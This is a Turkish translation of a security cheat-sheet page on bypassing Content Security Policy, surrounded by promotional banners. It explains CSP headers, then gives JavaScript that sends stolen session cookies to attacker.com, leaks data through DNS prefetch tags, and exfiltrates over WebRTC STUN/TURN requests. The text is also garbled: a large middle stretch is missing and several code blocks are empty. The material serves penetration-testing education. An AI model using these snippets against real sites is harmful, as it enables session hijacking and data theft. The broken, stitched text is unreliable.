# Content Security Policy (CSP) Bypass ## İçerik Güvenlik Politikası (CSP) Atlatma
Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! HackTricks'i desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)\*\* takip edin.\*\* * **Hacking hilelerinizi paylaşarak HackTricks ve HackTricks Cloud** github depolarına PR göndererek katkıda bulunun.
Deneyimli hackerlar ve ödül avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın! **Hacking İçgörüleri**\ Hacking'in heyecanına ve zorluklarına inen içeriklerle etkileşime girin **Gerçek Zamanlı Hack Haberleri**\ Hızlı tempolu hacking dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın **En Son Duyurular**\ Yayınlanan en yeni ödül avı programları ve önemli platform güncellemeleri hakkında bilgi edinin **Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliğine başlayın! ### CSP Nedir İçerik Güvenlik Politikası (CSP), başlıca olarak **çapraz site komut dosyası (XSS) gibi saldırılara karşı koruma sağlamayı amaçlayan bir tarayıcı teknolojisi** olarak kabul edilir. Tarayıcı tarafından güvenli bir şekilde yüklenebilecek kaynakların yollarını ve kaynakları tanımlayarak çalışır. Bu kaynaklar, resimler, çerçeveler ve JavaScript gibi bir dizi unsuru kapsar. Örneğin, bir politika, aynı etki alanından (self), iç kaynakları ve `eval`, `setTimeout` veya `setInterval` gibi fonksiyonlar aracılığıyla dize kodunun yüklenmesine ve yürütülmesine izin verebilir. CSP'nin uygulanması **yanıt başlıkları** aracılığıyla veya **HTML sayfasına meta öğeleri ekleyerek** gerçekleştirilir. Bu politikaya göre, tarayıcılar bu şartları proaktif olarak uygular ve tespit edilen ihlalleri derhal engeller. * Yanıt başlığı aracılığıyla uygulanır: ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` * Meta etiketi aracılığıyla uygulanmıştır: ```xml ``` #### Başlıklar CSP, bu başlıklar kullanılarak zorunlu kılınabilir veya izlenebilir: * `Content-Security-Policy`: CSP'yi zorlar; tarayıcı herhangi bir ihlali engeller. * `Content-Security-Policy-Report-Only`: İzleme için kullanılır; ihlalleri engellemeden raporlar. Üretim öncesi ortamlarda test etmek için idealdir. #### Kaynakları Tanımlama CSP, etkin ve pasif içerik yükleme için kökenleri kısıtlar, iç içe JavaScript yürütme ve `eval()` kullanımı gibi yönleri kontrol eder. Bir örnek politika şöyle belirlenir: ```bash default-src 'none'; img-src 'self'; script-src 'self' https://code.jquery.com; style-src 'self'; report-uri /cspreport font-src 'self' https://addons.cdn.mozilla.net; frame-src 'self' https://ic.paypal.com https://paypal.com; media-src https://videos.cdn.mozilla.net; object-src 'none'; ``` #### Yönergeler * **script-src**: JavaScript için belirli kaynaklara izin verir, URL'ler, iç içe betikler ve olay işleyicileri veya XSLT stilleri tarafından tetiklenen betikler dahil. * **default-src**: Belirli getirme yönergeleri yokken kaynakları getirmek için varsayılan bir politika belirler. * **child-src**: Web işçileri ve gömülü çerikler için izin verilen kaynakları belirtir. * **connect-src**: fetch, WebSocket, XMLHttpRequest gibi arabirimler kullanılarak yüklenebilecek URL'leri kısıtlar. * **frame-src**: Çerçeveler için URL'leri kısıtlar. * **frame-ancestors**: Geçerli sayfayı gömebilecek kaynakları belirtir, ``, ` // The bot will load an URL with the payload ``` #### Yer İşaretçileri Aracılığıyla Bu saldırı, saldırganın kullanıcıyı tarayıcının yer işaretçisi üzerine bir bağlantıyı sürükleyip bırakmaya ikna ettiği bir sosyal mühendislik gerektirir. Bu yer işaretçisi, **zararlı javascript** kodunu içerecektir ve sürüklendiğinde veya tıklandığında mevcut web penceresinin bağlamında **çalıştırılacak, CSP'yi atlayacak ve çerezler veya tokenlar gibi hassas bilgileri çalmaya izin verecektir**. Daha fazla bilgi için [**buradaki orijinal rapora bakın**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). #### CSP kısıtlayarak CSP atlatma Bu [**CTF çözümünde**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), bir izin verilen iframe içine daha kısıtlayıcı bir CSP enjekte edilerek CSP atlatılır ve belirli bir JS dosyasının yüklenmesine izin verilmez, ardından **prototype kirliliği** veya **dom clobbering** aracılığıyla farklı bir betiği kötüye kullanarak **keyfi bir betik yüklenmesine izin verilir**. Bir Iframe'in CSP'sini **`csp`** özniteliği ile **kısıtlayabilirsiniz**: {% code overflow="wrap" %} ```html ``` {% endcode %} [**Bu CTF çözümünde**](https://github.com/aszx87410/ctf-writeups/issues/48), **HTML enjeksiyonu** aracılığıyla **CSP** daha fazla **kısıtlanarak** CSTI'yi önleyen bir betik devre dışı bırakıldı ve dolayısıyla **zafiyet sömürülebilir hale geldi.**\ CSP daha kısıtlayıcı hale getirilebilir **HTML meta etiketleri** kullanılarak ve iç içe betikler devre dışı bırakılabilir **giriş**lerini kaldırarak, **nonce**'larına izin verilir ve **sha** aracılığıyla belirli iç içe betikler etkinleştirilebilir: ```html ``` #### İçerik-Güvenlik-Politikası-Rapor-Yalnızca ile JS veri sızdırma Eğer sunucunun yanıt vermesini sağlayabilirseniz **`Content-Security-Policy-Report-Only`** başlığıyla ve bir **değeri sizin kontrolünüzde** (belki bir CRLF nedeniyle), sunucunuzu işaret etmesini sağlayabilir ve eğer sızdırmak istediğiniz **JS içeriğini** **`` içine **yerleştirebilir**. Bu **script**, 'self' tarafından **izin verildiği için yüklenecektir**. Ayrıca, ve WordPress yüklü olduğundan, bir saldırgan, **CSP'yi atlatan** **savunmasız** **geri çağrı** uç noktası aracılığıyla **SOME saldırısını kötüye kullanabilir** ve bir kullanıcıya daha fazla ayrıcalık vermek, yeni bir eklenti yüklemek gibi işlemleri gerçekleştirebilir...\ Bu saldırıyı nasıl gerçekleştireceğiniz hakkında daha fazla bilgi için [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) ### CSP Exfiltration Bypasses Eğer **harici sunucularla etkileşime izin vermeyen sıkı bir CSP** varsa, bilgileri dışa aktarmak için her zaman yapabileceğiniz bazı şeyler vardır. #### Location Sadece konumu güncelleyerek gizli bilgileri saldırganın sunucusuna gönderebilirsiniz: ```javascript var sessionid = document.cookie.split('=')[1]+"."; document.location = "https://attacker.com/?" + sessionid; ``` #### Meta etiketi Bir meta etiketi enjekte ederek yönlendirebilirsiniz (bu sadece bir yönlendirme işlemidir, içerik sızdırmaz). ```html ``` #### DNS Ön Yükleme Sayfaları daha hızlı yüklemek için tarayıcılar, ana bilgisayar adlarını IP adreslerine önceden çözümleyip daha sonra kullanmak üzere önbelleğe alırlar.\ Tarayıcıya bir ana bilgisayar adını önceden çözümlemesi için şu şekilde belirtebilirsiniz: `` Bu davranışı istismar ederek **DNS istekleri aracılığıyla hassas bilgileri dışarı sızdırabilirsiniz**: ```javascript var sessionid = document.cookie.split('=')[1]+"."; var body = document.getElementsByTagName('body')[0]; body.innerHTML = body.innerHTML + ""; ``` Başka bir yol: ```javascript const linkEl = document.createElement('link'); linkEl.rel = 'prefetch'; linkEl.href = urlWithYourPreciousData; document.head.appendChild(linkEl); ``` Bu durumun önüne geçmek için sunucu HTTP başlığını gönderebilir: ``` X-DNS-Prefetch-Control: off ``` {% hint style="info" %} Görünüşe göre, bu teknik başsız tarayıcılarda (botlar) çalışmıyor. {% endhint %} #### WebRTC Birkaç sayfada **WebRTC'nin CSP'nin `connect-src` politikasını kontrol etmediğini** okuyabilirsiniz. Aslında, bir _DNS isteği_ kullanarak bilgi sızdırabilirsiniz. Bu kodu inceleyin: ```javascript (async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})() ``` Başka bir seçenek: ```javascript var pc = new RTCPeerConnection({ "iceServers":[ {"urls":[ "turn:74.125.140.127:19305?transport=udp" ],"username":"_all_your_data_belongs_to_us", "credential":"." }] }); pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` ### Çevrimiçi CSP Politikalarını Kontrol Etme * [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) * [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) ### Otomatik Olarak CSP Oluşturma [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) ### Referanslar * [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/) * [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/) * [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d) * [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme) * [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg) * [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/) * [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) ​
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılarak deneyimli hackerlar ve ödül avcıları ile iletişim kurun! **Hacking İçgörüleri**\ Hacking'in heyecanını ve zorluklarını inceleyen içeriklerle etkileşime geçin **Gerçek Zamanlı Hack Haberleri**\ Hızlı tempolu hacking dünyasını gerçek zamanlı haberler ve içgörülerle takip edin **En Son Duyurular**\ Yeni ödül avı başlatmaları ve önemli platform güncellemeleri hakkında bilgi edinin **Bize Katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliğine başlayın!
Sıfırdan Kahraman'a AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert) ile! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'ı PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * **💬** [**Discord grubuna**](https://discord.gg/hRep4RUj7f) **veya** [**telegram grubuna**](https://t.me/peass) **katılın veya Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.** * **Hacking hilelerinizi paylaşarak HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek katkıda bulunun.